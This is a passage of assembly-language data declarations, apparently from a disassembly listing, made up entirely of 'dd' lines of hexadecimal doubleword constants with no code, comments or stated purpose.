		dd 8DC20537h, 807B1EFEh, 0D1DC020Bh, 938F418h, 0C12008h
		dd 5B5AC750h, 0E9024F71h, 4ADCD600h, 534B7B58h,	0C291843h
		dd 0C40D382Ch, 2100FFF8h, 9E7084CEh, 19B2F5BCh,	8B0C1FEh
		dd 2061951Eh, 0DBE20004h, 0FAFDB8CAh, 0ED0CAD1Eh, 300F09h
		dd 4F0AF31Dh, 0E636BF7Ch, 7DD11F6Fh, 2FAF401Bh,	37926710h
		dd 854518C2h, 3487210Eh, 0A9B91194h, 18A81F08h,	88484C1h
		dd 45DEFD6Eh, 4351F51Ch, 29101338h, 0F19D1438h,	2ECF140Ch
		dd 0A7B11030h, 81BFF882h, 0B1309924h, 0D88D9E2h, 8A0CA083h
		dd 612C653Bh, 0E3544AA1h, 9F558A3Ch, 2BEC060Ch,	0C9606182h
		dd 0D239D379h, 20F50042h, 0AC784A79h, 0AF245A31h, 1E400860h
		dd 2D4450h, 0A79D4FBDh,	218F0ECDh, 9ADBB8A0h, 0AAE18000h
		dd 5AB703A0h, 0D01C3008h, 0AEC2ED38h, 1B9EB400h, 4AB8F342h
		dd 33CA0039h, 35A88DD5h, 0B7009734h, 0C773932Dh, 7E1221Eh
		dd 94E2EC77h, 0CC0EE0A0h, 0B4E8AF4Bh, 0D10CD807h, 0C2207DF5h
		dd 0B17C4Ch, 0B9239203h, 0BC5460CCh, 4F124CA8h,	0D8911830h
		dd 3CB7A037h, 0E8360C9h, 90535639h, 8081A2DBh, 0D23AF0B5h
		dd 9967B00h, 1530B621h,	0FC4A00DAh, 0C2E9BC76h,	600CEEDh
		dd 0E3AAFD6Ch, 15F83713h, 1C51A2EAh, 3C666884h,	1E880051h
		dd 3CD6FA84h, 0F228C861h, 910A9103h, 0C0298E90h, 616DF8h
		dd 56221135h, 0D6CE8B16h, 0B1F08A0Ah, 80BEB894h, 0C8C00DB7h
		dd 2F8D342h, 256003C4h,	0A1603B99h, 0AC0A1C98h,	5CADDF78h
		dd 38B28860h, 747D37h, 9CD3328Ch, 289E7175h, 4FB8F92Ch
		dd 30576200h, 1E31D83Ch, 1EC906h, 65C87CF1h, 4492E1Dh
		dd 933E04C0h, 60906E6Ah, 1809C0Dh, 2EF86139h, 800591D1h
		dd 7F945A29h, 0FC5CC1Ah, 8A2AFC06h, 0FE1B0D9h, 0D8DEDC82h
		dd 83990535h, 5C4C287Fh, 358B1E00h, 10E4E0C0h, 98F9025Fh
		dd 0BE2611C8h, 485CB480h, 0C70EFADCh, 0C32D05C0h, 281B0Ch
		dd 57B03740h, 0E295C8Eh, 5DB0E0ABh, 7C3EBBDEh, 0B600F477h
		dd 0B0D8859Dh, 0E94A617Dh, 50107427h, 5B0E8D0h,	7F2F9319h
		dd 0CA00FF3Ch, 0C77CC822h, 0CBB50060h, 4689A0F4h, 0A02B097h
		dd 587F54Eh, 1A3B40A2h,	3DF975F3h, 4298B831h, 0EBBE2073h
		dd 4BD8BFh, 0D1E77CC9h,	0A0881FDEh, 0E159F90Ch,	73C4CC6h
		dd 0AC185D4Dh, 8FF58094h, 3207A170h, 0C69B2B99h, 4F5F9F70h
		dd 1AAB307Eh, 89E5C358h, 16A7C22Ch, 60DC0C0Eh, 979969B2h
		dd 0BCAB3F82h, 0FBE21280h, 0E1FAA8DAh, 7FDB7000h, 6D05ACEDh
		dd 28772BC6h, 3BCFF844h, 80C384A8h, 0BD640603h,	763F5817h
		dd 0B0E30364h, 5D1B3416h, 9CB0C5B3h, 80084E2h, 7601DF3Bh
		dd 7D7D1BDh, 94A93717h,	70C950A2h, 0C39246Fh, 95BD80CDh
		dd 0E3B98F7Ah, 5D140077h, 300A04F4h, 7501C133h,	17E0A318h
		dd 888F55C2h, 0AE207CBEh, 0F8543A4Bh, 0B4FA421Ch, 6D8D99C2h
		dd 0D084B3E0h, 145FAAEFh, 0A08740DFh, 3F0E3300h, 0F5687BDCh
		dd 9ED9B800h, 645FCFEDh, 34A0005Eh, 88C611CAh, 4100409Fh
		dd 0F63FE80Dh, 0E3129EF3h, 0A21AF0h, 0A8C3157h,	0BF515436h
		dd 0FDEE2F00h, 879AF32Bh, 0D0B45420h, 3F4A0780h, 0A04E067Fh
		dd 8878392Dh, 0F1715900h, 0F3AB0FEAh, 0A3E8DFh,	5255823Eh
		dd 3D4B3623h, 0CE22105h, 0E000897Dh, 0FF6FB71h,	0CC865066h
		dd 0F4760FA1h, 1A75677h, 78A3F017h, 81006C25h, 0F7C06F91h
		dd 1F7E4D3Dh, 0F6A2744h, 92E299F8h, 0C4580A6h, 13F6170h
		dd 0B44DE425h, 22E50DCEh, 0FC470004h, 71400E70h, 77C20568h
		dd 2AA32F8Dh, 6A9080FCh, 0AF0DD9Eh, 7410C143h, 153B40F4h
		dd 910A45EEh, 80A33C2Eh, 0A119E58h, 0A1BB6C0Bh,	0D5245644h
		dd 2C9D7C29h, 410C538Eh, 0F91101B1h, 2ADCC44Ch,	3908E03h
		dd 0A422B31Eh, 38074AE6h, 0A062D21Ah, 95423281h, 8631090h
		dd 0F94E77Bh, 0E8069F74h, 0B6FA2141h, 19A6D708h, 0A0930188h
		dd 86ECAB0Ch, 0AE296930h, 2D00078h, 74A5EBDAh, 0DB28B834h
		dd 5202E22Bh, 5771C469h, 774048BEh, 30F15E0h, 1800DC97h
		dd 2A7E3F49h, 0DE00F49Bh, 2B6E7BA4h, 156F9CBFh,	9C3C45DFh
		dd 91381Dh, 0B0A7CDEh, 0E102C388h, 332DBCD5h, 957140CFh
		dd 68EC00BBh, 5D4E0DC9h, 191401B2h, 1BAC2D47h, 0FD9F21Dh
		dd 0E186E8A8h, 4CC45300h, 0BEF0CD65h, 0F92B5205h, 0E4408405h
		dd 4D9EDD62h, 0B08F6124h, 23E009CEh, 91830190h,	9B0AA273h
		dd 0D9EC30h, 0D0C689BDh, 0BF5A0F8Ah, 0F89AF013h, 0CCC3F14h
		dd 1882E9B8h, 33B90F2Ah, 0DE800DA2h, 0C01AAA66h, 0A641CC00h
		dd 7F01EF0Eh, 91AC3017h, 8EF3DF78h, 0EAE18A1Dh,	0FDBE2500h
		dd 2460A2BFh, 814852ECh, 4DD0F8FAh, 1B15FC67h, 1691431Dh
		dd 1C400C12h, 75556124h, 0BAD90372h, 0DB510265h, 0DC3D60A8h
		dd 0ADC2B300h, 419EF6A8h, 61F23E81h, 0C3AC090Fh, 84432D02h
		dd 9EEBEC40h, 876E1E3Fh, 0B92FD766h, 3BAD3FC0h,	0C0020F2Eh
		dd 64E080C1h, 38CC0DE9h, 6BB06500h, 9885E1CAh, 464F0728h
		dd 0C0F511AEh, 1A3530DEh, 1D8ABA00h, 9F4BE98Dh,	9F014D24h
		dd 50E7AB00h, 9F97B9Eh,	2BF31C00h, 0FE728C1Bh, 37530104h
		dd 0F5908EE9h, 1ACD20D5h, 61E8EC00h, 8F98921Bh,	30E00D1h
		dd 70048837h, 5800E3A7h, 5D907757h, 1CE644A5h, 0CF36B6DCh
		dd 1A871FAAh, 83BDF0A7h, 0B2001090h, 0B850045Ah, 0CBD4DCh
		dd 0A2482CA1h, 7D8B152Dh, 1B623Dh, 63FC40E7h, 73DBCCh
		dd 86AD6F35h, 7176F891h, 0D1518A0Eh, 0D4D7C0E9h, 726F805Ch
		dd 52BD00C5h, 49A18FA2h, 24001A8Bh, 9AE37D62h, 0D8C33Ah
		dd 0D7C88E89h, 150CBC94h, 0B853AC00h, 0CCD49E7Fh, 1E83FE56h
		dd 42BDC7h, 6F9838BCh, 79C084A3h, 0AFCD5F5Bh, 136C007Eh
		dd 7B63E3AEh, 0DF019231h, 0AC1A7C2Ch, 82211E62h, 5C6AD4h
		dd 683957FEh, 22DA6E0Eh, 7A0C5400h, 0A8FD637Fh,	765A0EB7h
		dd 61EF0AB6h, 0D62643C0h, 0A90007B1h, 0EB862AC2h, 30992CB9h
		dd 96A868B5h, 3F003579h, 0C695AA2Dh, 0EC556D47h, 0A11F0E5Bh
		dd 0D70F5A30h, 859FB487h, 0E45CC36Eh, 581463C8h, 0A0F6940Eh
		dd 5535409Eh, 1F682A20h, 8FCE9965h, 45076EB4h, 60539092h
		dd 3300EBF5h, 0FC75B704h, 0E5025E6h, 6A77FE43h,	9DD8E020h
		dd 927F422Ah, 9CEC2600h, 0AE717EB8h, 0F8E10028h, 0BA5875C4h
		dd 0B4004046h, 0E287106Dh, 3016B85h, 0D5AB2267h, 0A09FFDA8h
		dd 0A1AE0CCDh, 0C8B5AA02h, 40D6A0DAh, 0B452D5h,	4F036F97h
		dd 85CD0B30h, 2D3B5D17h, 2524ED00h, 5C87DBA2h, 0D2009CF6h
		dd 1BE30F6Dh, 0A61EB058h, 7DFBC6h, 0FCB96F84h, 0F2ACD252h
		dd 2B2A008Ah, 0F4B744E3h, 5600F240h, 0F8D4E67Bh, 0E6255h
		dd 4D75C32Dh, 0DD1F8C4Eh, 0A6254004h, 0D4C08778h, 0E579CBh
		dd 0FAD8772Bh, 8C6FD01Ch, 0FB63700h, 289D41Fh, 2859078Ah
		dd 0B30C337Eh, 2ED0C091h, 7DE29C64h, 38D52300h,	0C23287AFh
		dd 1B4E0F4Ch, 1140FBC9h, 0F1048C1h, 0C61BF26h, 0BE770E03h
		dd 0F982B88Ah, 57E30037h, 0BC1B0692h, 0C007344Ah, 0E1A46A0Eh
		dd 0A610BFC7h, 2C911h, 0FA7B5977h, 65FBE7E4h, 2B05BE0Eh
		dd 0C09E8714h, 0F48723B0h
		dd 327E3033h, 0BB6B1379h, 6AF08304h, 0FC0FAB9h,	0C08D8025h
		dd 0EAB2E7A4h, 9500509Bh, 0EB1F2F47h, 3853DA91h, 0C980D297h
		dd 0B7CD34F8h, 6005563h, 0E572CE3h, 0FFBCBh, 3CE47802h
		dd 4239945Ah, 81530B3Bh, 32F78735h, 73EC228Bh, 812D0059h
		dd 50A5BE7Ch, 8700A854h, 0D869FA07h, 79D98956h,	0BC2900D7h
		dd 3DC50A41h, 0BA06ED97h, 77729D2Dh, 5F3A2228h,	0FEADB000h
		dd 0D019D3F2h, 29320489h, 41320EAh, 574098AEh, 0D3F166D2h
		dd 10D5B522h, 77DB6085h, 226379C0h, 615AC0h, 83F60242h
		dd 8D4CA3B0h, 210FC8E7h, 0E649E507h, 9330DB38h,	1CC682C4h
		dd 4077AE75h, 9197BA8Bh, 8D000D5Ah, 0B37337F8h,	0CEC9BDh
		dd 488B8A57h, 8E03992h,	0EDB4E90Fh, 681EC732h, 2D80CB15h
		dd 89EEADh, 526B3F18h, 0E87C5FE9h, 0EA118F00h, 94281E79h
		dd 7E2298D5h, 40370025h, 83EE2A1Dh, 5A00622Bh, 50AF78B6h
		dd 46B9C2h, 2F894AC4h, 2195F3FDh, 6073FB05h, 31C03779h
		dd 3F64ACD7h, 9E0967E6h, 0B80E52Ch, 7DE8271Ch, 0A1805400h
		dd 56CBAAD1h, 0FD593CC3h, 27AE1E81h, 0F046E331h, 9CF428DDh
		dd 6B003D90h, 20C9863Dh, 1D56138h, 0E597DCD7h, 0F748787Ch
		dd 831816A8h, 0CA796A00h, 32554959h, 0A98B005Fh, 0C08E4D9h
		dd 3300817Bh, 17E3D80h,	7A256Fh, 5CFF5D54h, 78E33803h
		dd 55B71900h, 48A9D8EEh, 587907BFh, 177A3060h, 97C08E4Fh
		dd 43BC2106h, 0B57B2300h, 6522B8DEh, 407E00B2h,	0B0C45828h
		dd 35F02912h, 2A67F600h, 0EC1CB75Bh, 0BDD30095h, 61BA326Ch
		dd 0A23BD164h, 7065A76Eh, 0D568184Dh, 6B546AC3h, 542FE5Ch
		dd 1C256026h, 5FADF980h, 0E5D950EBh, 0BD3A00AFh, 600C4084h
		dd 2004A8Fh, 55EC5323h,	0AF2E56h, 311A2BD7h, 0AC6B797Dh
		dd 0A8230C00h, 84D1B692h, 6622028Eh, 553F1C61h,	0AC80B3E2h
		dd 242DF06Eh, 0A410860Fh, 17E3E3DFh, 290FE8A8h,	3765C68h
		dd 7382A061h, 0DE08706Fh, 0A1C25B00h, 0CB919E79h, 65500030h
		dd 69A752CAh, 2401FF4Eh, 34541012h, 0FCE0F291h,	749500F4h
		dd 0DF014B77h, 2A002126h, 8912E102h, 0F2CD0Eh, 5B0F6419h
		dd 0F9D11D2Eh, 804DE30Eh, 53E06123h, 4BC8DB9Ah,	3B1807ACh
		dd 10E18698h, 0C49F32BBh, 0DBB9DF1Eh, 0E71A38C0h, 0B6632Bh
		dd 363350F6h, 48EEF1AAh, 7A00F3FAh, 43F57BCAh, 89A81Fh
		dd 9DF90977h, 0DDBF237Eh, 0B4BB0101h, 8111E28Eh, 0F3BEF4h
		dd 482A0E61h, 0EAC1CE6Ch, 0DD3A2700h, 1997C855h, 0D075242Fh
		dd 0C53C0070h, 10E01A14h, 0D25B5107h, 0FB50F2E7h, 7DB63458h
		dd 252B077Eh, 0E0F54F9Bh, 2114D071h, 3131100h, 93EA5DC4h
		dd 3CD19050h, 0A624CD91h, 65ED0AE7h, 48050088h,	0CE25AB8Bh
		dd 0F5E66A0Fh, 2FD8401Dh, 3B3548Eh, 0C1A86151h,	76F0530Eh
		dd 0B803F907h, 0CC5889C3h, 0F4E4F055h, 185209A5h, 74189751h
		dd 2700069Eh, 3416ED2h,	70D6B2h, 6A3989B3h, 0DEC5B193h
		dd 6CA55E05h, 0B0C0328Ch, 0AB4784h, 0AFE680F9h,	0A3DDFB31h
		dd 0B3DAF700h, 0DF40C269h, 6B0400B2h, 5D2083E9h, 4E079847h
		dd 0EF8F1095h, 8D4DC2A0h, 0C6060018h, 1F05E576h, 2D00EEDCh
		dd 0BCFACA9Ah, 5E5BBDh,	8EC49D3Eh, 550C3514h, 3CAE0700h
		dd 628044F9h, 7DB43853h, 995C9E80h, 4B84EB9Fh, 0F50BEDE1h
		dd 0A33FE42Fh, 0D3902275h, 5DB1A00h, 0AED232E0h, 308D0067h
		dd 2B184843h, 0D81DE280h, 0E040CEBFh, 5C69E94Fh, 1BAE005Bh
		dd 4B853A0Ah, 7AFCCF7Dh, 0FD00ADB0h, 951F73B7h,	0A038Dh
		dd 4E101592h, 913DFB6Fh, 2E54C0EDh, 50012D00h, 7505AD4Ch
		dd 707E00CBh, 0B089F052h, 3B0F956h, 102E6B1Fh, 41B8A347h
		dd 122FA8E0h, 9094A03Eh, 378E1767h, 0CB7E005Ah,	3CFCD1A3h
		dd 87163B3Bh, 86D9952Eh, 0A0B8A8B3h, 892C55h, 36ABDE54h
		dd 2767F46Eh, 65C4CD00h, 0D0CFBF7Bh, 0CC7F98h, 87A3554h
		dd 596F0AEBh, 500D5E8h,	5F2D4737h, 0A00F52h, 53C6C20Dh
		dd 3F7F4CBFh, 75EDBB39h, 0FF9EB900h, 6C863B29h,	67F003DFh
		dd 0DF6FD71h, 4BC131B7h, 0F92760E7h, 0F4852F00h, 0AE0AC976h
		dd 45290070h, 0B4249F8Ch, 540B7E43h, 0B36E7Ah, 2E40F078h
		dd 745D0080h, 52B5C58Dh, 352E4DE7h, 0B2073683h,	96110333h
		dd 5E30C05Ch, 271F0008h, 432D68D6h, 3D249F98h, 1D133F16h
		dd 0BE0056BCh, 5E0C6059h, 76007CDAh, 3BC62A81h,	0A4A2C0h
		dd 11929426h, 8AC30FB9h, 23041200h, 3E3259B4h, 0A9DB00DDh
		dd 3FF9B347h, 0EA13C378h, 0C00247Dh, 0C25C2EBh,	779600EFh
		dd 413B2B7Fh, 78009E6Bh, 73A261E9h, 321FA5DFh, 334EE070h
		dd 237964C0h, 4C7E6B00h, 44977B15h, 513D0083h, 0F1BFB654h
		dd 4998F7F5h, 0AF53BA05h, 0B6C563E5h, 3FE9BF80h, 0DE2B3910h
		dd 401F8717h, 6EFF4D24h, 0DD00E7D8h, 84CBCFF9h,	7F76ADCCh
		dd 0D48900A7h, 98949D7Dh, 0F471D173h, 8091833Dh, 0E6035BEFh
		dd 0EE420563h, 5823006Bh, 6234DD64h, 700C1D0h, 5BFE74F8h
		dd 0E928C98h, 0BE0CB6DFh, 0F218A240h, 87E2C679h, 9E0D800h
		dd 980D6088h, 0A9A0005Dh, 0B619B270h, 0D801EA10h, 6A42E3BBh
		dd 0DC881DAh, 0EECD0083h, 1FA27D5Ah, 4A1FC3FEh,	0C99C4F2Ch
		dd 0D5A71700h, 6269ABEh, 4E61373Dh, 290028A3h, 3AEE3644h
		dd 0E6725052h, 69D0008Ch, 0C9F6C23h, 13005CFEh,	51A5B5D8h
		dd 0E0C9EBh, 0F2500421h, 9C1EF84h, 0BC01FEE0h, 42F8A88Eh
		dd 0F9E01C97h, 51AFAE8h, 56193D4Ah, 3D48712h, 30C730ACh
		dd 9B622961h, 928FA903h, 0E02ECF58h, 3E33C41h, 4BCAECDCh
		dd 2FCAD6AAh, 54A663C0h, 2D739500h, 7444C909h, 1D340C0Ah
		dd 61800667h, 5FCA9100h, 7986EE71h, 3EF3E3Bh, 5B01E400h
		dd 0FDE8DC3Ch, 106FAF00h, 0BA3BF2C9h, 736C03A1h, 72AAAB21h
		dd 0B1E767F8h, 9BC2800h, 0AC412004h, 0B6CC0035h, 0FA478652h
		dd 0D5E0B083h, 399D7B00h, 0AD879060h, 0D0250335h, 0F0D22CD4h
		dd 749826ABh, 0B4004F07h, 826FC1CBh, 56F53Fh, 0D77922FAh
		dd 6C372A84h, 4A937E00h, 0A431BF24h, 745900D1h,	63D311E7h
		dd 0FA1C157Fh, 6400D7BDh, 0A5629320h, 0B570016h, 3EC729BCh
		dd 3B001428h, 6A49F280h, 0C3A242h, 0B6187B04h, 0ED3D7483h
		dd 0B7B3DD00h, 69247AEAh, 40A600CAh, 63D55EB4h,	0F200D7BFh
		dd 0E887970h, 0CEEE8h, 3CED0BD9h, 0ECD1740Fh, 57855600h
		dd 1CA8EF5Ch, 0A76300F2h, 1FCAF61Eh, 4200A29Eh,	0F3ACD286h
		dd 6C4DCDh, 0AA4025C3h,	0CBD71685h, 60DA2100h, 2610531Fh
		dd 0DDD90056h, 99DE13EDh, 700005B4h, 2387BDBh, 0B11574Fh
		dd 0E7201F2Fh, 2D601D00h, 0C50461D3h, 98515B18h, 18266C0h
		dd 0DC20015h, 61E0D035h, 0CF004511h, 0C429076Fh, 0EAE36h
		dd 4387481Bh, 0E6AAB970h, 0B53F9D09h, 0EFC180BDh, 0C00B6037h
		dd 0C094E550h, 9D00F1BCh, 6B5124DBh, 0D0396h, 4FC458Fh
		dd 639C2641h, 70361A30h, 0CC284Dh, 7A447888h, 433A2F3Dh
		dd 248FAE00h, 0D99040B7h, 80FD48CAh, 894E9208h,	0DC572801h
		dd 0F4E0F5E0h, 0ABF60007h, 66422E8Dh, 50137CCh,	6EDEBB56h
		dd 0FCC81575h, 443B00AAh, 0F6D6AFA9h, 700BDA2h,	5C8FD3EFh
		dd 7F8ADF60h, 0AA46015Dh, 0C0E6B3B6h, 0A533D429h, 54C1F400h
		dd 1BF3634Ch, 0F8A0149h, 7199FFDEh, 8591EC11h, 0EB03E00h
		dd 629AECFDh, 0E37800FCh, 0D3F8CA9Ch, 8C01B96Ah, 2718790Fh
		dd 70808663h, 0BA55C5EFh
		dd 3F3D45F0h, 65928032h, 67268094h, 0A3900797h,	0D65407h
		dd 0ACB58531h, 53846914h, 389300B4h, 0B72B3B97h, 0DF620075h
		dd 5C24FA82h, 0D5906CD3h, 350AAF00h, 0E7B6A857h, 0DF590063h
		dd 0EBE15A18h, 0CF0F43BFh, 0ACB5D6B8h, 9A7C9Bh,	0D19B3CBh
		dd 0ED24B7F8h, 0EC556807h, 7AE04623h, 0D4875Ah,	1D1F8312h
		dd 0F2E321D1h, 91D0C600h, 0E58D8137h, 0F45071Eh, 30DF7611h
		dd 0A052F9D4h, 0B28C1B00h, 0E73FFA51h, 89E80081h, 10DD8B4Fh
		dd 0D2005F3Ah, 8427F3A3h, 7F16AC1Eh, 0B1290001h, 9C512B66h
		dd 4B1CC556h, 6F40A0E1h, 39FBC43Dh, 32B8005Fh, 469304C0h
		dd 0E8E2E9BAh, 0B9EC5Ch, 2E15B5C9h, 4D59D8h, 0B7BB7879h
		dd 6EDFB337h, 0DCF65C00h, 0BA1F09B8h, 42110012h, 6105C2FBh
		dd 0F8000E98h, 0EE302BEBh, 0B9D5Ch, 0C1DC16DBh,	0CA2D1088h
		dd 69043900h, 0F7820ED9h, 0C2AE00A2h, 0C08ED6E3h, 0A10F6524h
		dd 80F64A8Ch, 0B4C5FE92h, 0A51338D2h, 4127C480h, 6D3FF7FDh
		dd 0C612DE00h, 0A4B89994h, 328B1CE3h, 258FC048h, 0BC8C20DDh
		dd 82735A00h, 0BD4719A0h, 0EF1700F0h, 35400269h, 0D300D913h
		dd 53A2C4D5h, 191425h, 320BB1C0h, 0CC5DDEEFh, 1F8D1800h
		dd 0E5900C2Ch, 21F800C6h, 0C7934AEBh, 62077350h, 0D04DB1A8h
		dd 0C42F5670h, 98DE00C5h, 86CA03FCh, 4E04810Eh,	0D7455239h
		dd 0DCF81080h, 0B871003Ah, 0EEA370BBh, 517C7DB1h, 7AC0D40Eh
		dd 8AD140D2h, 78CF7715h, 472E00E8h, 69B4E414h, 7200E23Ah
		dd 0D4F25835h, 1681C0EDh, 0AE7A82A0h, 0CDDFC600h, 521261h
		dd 56DCE9ADh, 80CCAF70h, 40D4E103h, 0C0AE0C44h,	1AA546Bh
		dd 0D8B0C394h, 0D86DCAB7h, 6205CBA1h, 3224F65Eh, 95C9380h
		dd 5BAC3A33h, 46020803h, 0C5C00FD7h, 0E00079E6h, 0EE700456h
		dd 3D1884Eh, 0E7315CAFh, 198042FFh, 0FCE04C86h,	6DC0DC00h
		dd 0E6E9AAA1h, 0CB8E3C9Fh, 8058BD1Eh, 39E58540h, 0FB0008AFh
		dd 86E47A60h, 0BD663Bh,	49C2DAEDh, 90635273h, 0C4C90618h
		dd 325A910h, 0AE96DADh,	0C0004EF0h, 80BCA3E2h, 645746h
		dd 18405A2h, 1A238ACDh,	7D6BB500h, 24D80DC1h, 13DA01F4h
		dd 794D293h, 0F837E5E1h, 6407F131h, 0D4A42F5Bh,	7C6F7740h
		dd 62BF01ABh, 16188451h, 22BEE0E2h, 8E11F139h, 0E72E6CD5h
		dd 96F39F03h, 0A90198F2h, 157A005Ch, 2EF88AFDh,	5800F5C2h
		dd 62D4774Ah, 0E6E7579h, 4BF99464h, 6523EECEh, 0A4880E16h
		dd 0F6F2FF34h, 2D4DA103h, 0D8B387FEh, 71CE82h, 9026955Bh
		dd 2E58EDDEh, 0E1AC0300h, 0BFF88161h, 99645039h, 0BEA51C4Eh
		dd 65D88051h, 0E08C967Ch, 569EE52Dh, 396707C2h,	0A701C0D2h
		dd 6E00656Dh, 0C4A2AFC6h, 6C58Fh, 0EE098AB4h, 3B5870FAh
		dd 5B4D8100h, 822C9A54h, 0B2C11C13h, 0EF803BEAh, 0F217E6FCh
		dd 49285D64h, 2607EC7Eh, 20C447ECh, 86072560h, 0A51D016Ah
		dd 4EC2A713h, 80F8D0EAh, 0CF734407h, 21A049B4h,	0C6D3FAh
		dd 0CBA9580Fh, 286BD81Bh, 7D9E5212h, 0AC4F5300h, 1C21062Dh
		dd 4007EF73h, 5150DE84h, 0B00C601h, 2A23922Eh, 1EC8C176h
		dd 3B253086h, 0F6DA9880h, 2FA8CAACh, 3031490h, 43D93B3Fh
		dd 5CB07967h, 8A027ED0h, 14ECDB44h, 40590340h, 136C2C1Eh
		dd 205ADECEh, 80579E68h, 80FFEBFDh, 7CAAB29Bh, 51A2076Ch
		dd 0C3F84A2Dh, 3BC1E54Bh, 44FDD827h, 0AA601900h, 0E44FEB48h
		dd 247B1F23h, 80F51ECEh, 69AE82A3h, 0B800F8ABh,	816F8F29h
		dd 30FA94D8h, 0C7203526h, 400049D2h, 3218756h, 32CA5D3h
		dd 0CC580C62h, 67B0071Bh, 0B800798Bh, 7312F843h, 23A636h
		dd 559EDEFh, 0AE112ABBh, 0C88C2501h, 9F644CA1h,	1EF16FC0h
		dd 0C070B2C0h, 92588FB5h, 0AF00CFB6h, 68444ED7h, 0C7F487h
		dd 26F8804Ah, 8600529h,	4DCC2201h, 0E290DB02h, 0F0C25CE8h
		dd 0F8E80097h, 3D1486A1h, 1D7BECF3h, 9391D60Ah,	5700B494h
		dd 3A99E17Dh, 0CB23AB8h, 0BB59B80h, 38E7EE93h, 2D006A71h
		dd 3F67BF31h, 0DC26B9h,	4243EDE6h, 0C20EC81Ch, 0F067400h
		dd 7A7C5523h, 0F8130334h, 3FD09544h, 0C1ADCE88h, 0BB9BDF00h
		dd 917909D1h, 0E2AF071Ah, 8005D7F3h, 50A6F76Fh,	1EFFF400h
		dd 8C8DE34Fh, 935E009Ch, 0C18AA9CDh, 0B303ACAEh, 3A04B82Ch
		dd 0D831D395h, 1C0A2140h, 80BDD988h, 5F9B09D0h,	0F000EFFEh
		dd 0B75AD54Bh, 7867A934h, 3D0D71E0h, 2E80F128h,	0E92F79Ch
		dd 0DAE62A8Bh, 0DC1D9D00h, 0E208C972h, 0EAE900F0h, 222F0FB5h
		dd 4500E356h, 27B73484h, 0A03BCCh, 63F2EC6Ch, 406F3F52h
		dd 0B5E7A900h, 19CD561Ch, 3D5F72E5h, 0C183498Dh, 636615D6h
		dd 0C48206B0h, 96003AF0h, 48192CCh, 20F9DAh, 0CF556002h
		dd 3D721B89h, 0C341BF00h, 0CA283239h, 0E2D8E435h, 2F9C032Bh
		dd 8C777DB7h, 0E058FAC8h, 0B8670C00h, 485CCC62h, 1BF23C57h
		dd 61C80801h, 0D43A8E1Dh, 463C907Eh, 19302A6h, 0E003D65Ah
		dd 0FCAD65h, 6F3831A1h,	0D13F06BFh, 1C849C03h, 8893E286h
		dd 7AC1839Ah, 0FDC600A3h, 0AED83494h, 0E9032617h, 0B03D4570h
		dd 0DC18003Ch, 92BDD6DAh, 0F9002457h, 9172B19Dh, 0FE6F6CC7h
		dd 68B8BEh, 0E5659845h,	0C633DAB6h, 3AC5BD01h, 47917751h
		dd 11F30D4h, 530AC70Dh,	0C35D7254h, 9B4A4D80h, 5507F8F2h
		dd 1A88979Eh, 37008C07h, 774E059Ch, 0E1D40387h,	31564FF3h
		dd 0C4139FD1h, 0C700072Fh, 35EE08A8h, 3BC9D8h, 333A2152h
		dd 0F92C3E85h, 0E02D8900h, 10F7991h, 35161D14h,	0DD429DFCh
		dd 9C481C8h, 20EF564Dh,	8200D458h, 0CF9FD698h, 0BFB86Ch
		dd 0B68B218Eh, 189D47C3h, 0BE103101h, 0E0FCF9B4h, 0FD60C0EDh
		dd 33EB0056h, 81CD5755h, 0D5000882h, 77FA4BB5h,	1298ACE0h
		dd 4FD842h, 2FB275D8h, 0FE7F0537h, 50002B90h, 25047B7Ch
		dd 31EBCA6h, 0B890032Ah, 0EDC909CAh, 0EBF8F370h, 0E4127955h
		dd 0D51F7887h, 2FE03180h, 695692h, 9B95E7C5h, 7F72572h
		dd 97FE4600h, 0C0FA6B9Ah, 99E62E62h, 3DD507DBh,	6E796017h
		dd 8F1FB614h, 78C0C724h, 0E057E5C6h, 418700D4h,	40A306DEh
		dd 0FE0E9793h, 0E0687408h, 957DB519h, 459E0046h, 5CBC4ADh
		dd 2C00208Bh, 83E9CD11h, 176106F9h, 452699h, 34AA9D01h
		dd 0FE054B7Fh, 3C6BD016h, 0CE1280BAh, 8738C9C0h, 0DF1580E3h
		dd 8C8F2524h, 0D77D3FA3h, 0A1859404h, 60C780ADh, 4900A868h
		dd 0F0325516h, 2D6CC2h,	806F61D0h, 470F399Ch, 9FA87900h
		dd 0B63B962Ch, 658F0114h, 0DFAF5272h, 312A2045h, 0AEDCCB00h
		dd 3C531B3Eh, 1E53BD9h,	0A89D689h, 0BDFACA00h, 44609B85h
		dd 75E82731h, 90720336h, 97E01054h, 0DB21181Fh,	803F0B1Eh
		dd 19BA49DCh, 1B647ABh,	877E029Eh, 717A08A7h, 0E488C04Bh
		dd 0B853FE00h, 31035EE6h, 0F9040EFAh, 2B404BB0h, 0F064E198h
		dd 0A7F76E00h, 0C5970AEDh, 23E06Ch, 0BB354F94h,	849AA0DAh
		dd 7139000h, 0BF6BE2EAh, 69750046h, 0E6962389h,	4500049Ah
		dd 0F2639BDBh, 0E807D8E3h, 0DFAC076Eh, 0C0CC3770h, 295E3A64h
		dd 0A10071E8h, 192F5117h, 0B0FB594Fh, 0D613B4Ch, 4AE18700h
		dd 0DC7A973Dh, 7C1A2700h, 20AD36A6h, 658E007Eh,	60F47747h
		dd 970061A4h, 0ECD068F0h, 29C55Ch, 0F54734D5h, 1FBC0A0Ch
		dd 6FE83200h, 65AC583Dh, 6705728Fh, 1033CCEEh, 0C6B169A6h
		dd 0C3F05200h, 91F9F2FBh, 806B3B1Bh, 3BF67F73h,	45803AADh
		dd 236133CFh, 860076FCh
		dd 26DAD52Ch, 0B3692Fh,	670FBC77h, 0F594B108h, 5951D300h
		dd 58C4EDCBh, 0DC4503C5h, 63A5D836h, 62B9F690h,	0BC29350Ch
		dd 73A62171h, 28E00FAFh, 0E12777D7h, 0CE0AE048h, 0D3009D0Dh
		dd 641D13ABh, 0F84CCDh,	42B462C8h, 0EB186AAEh, 22EC7CFCh
		dd 0C6FB3A0Ch, 58381024h, 0C700A9BAh, 0EF525C20h, 0A4E85718h
		dd 0AF7C70C0h, 0C67422Fh, 4CF0BE4Ah, 318A588h, 2B20AEF1h
		dd 0C004000Ah, 0D8B8BD71h, 6400DDA8h, 0E5117817h, 0C5C2E079h
		dd 0C0505828h, 39A3504h, 8479B078h, 9C6DFF03h, 5997D3h
		dd 8E5B5570h, 0B431DC0Eh, 0E83F8003h, 0C8EADE53h, 0DCE0BEF9h
		dd 0BD9ACC18h, 7660FFF0h, 0E8D826A9h, 51D60736h, 905EF1CFh
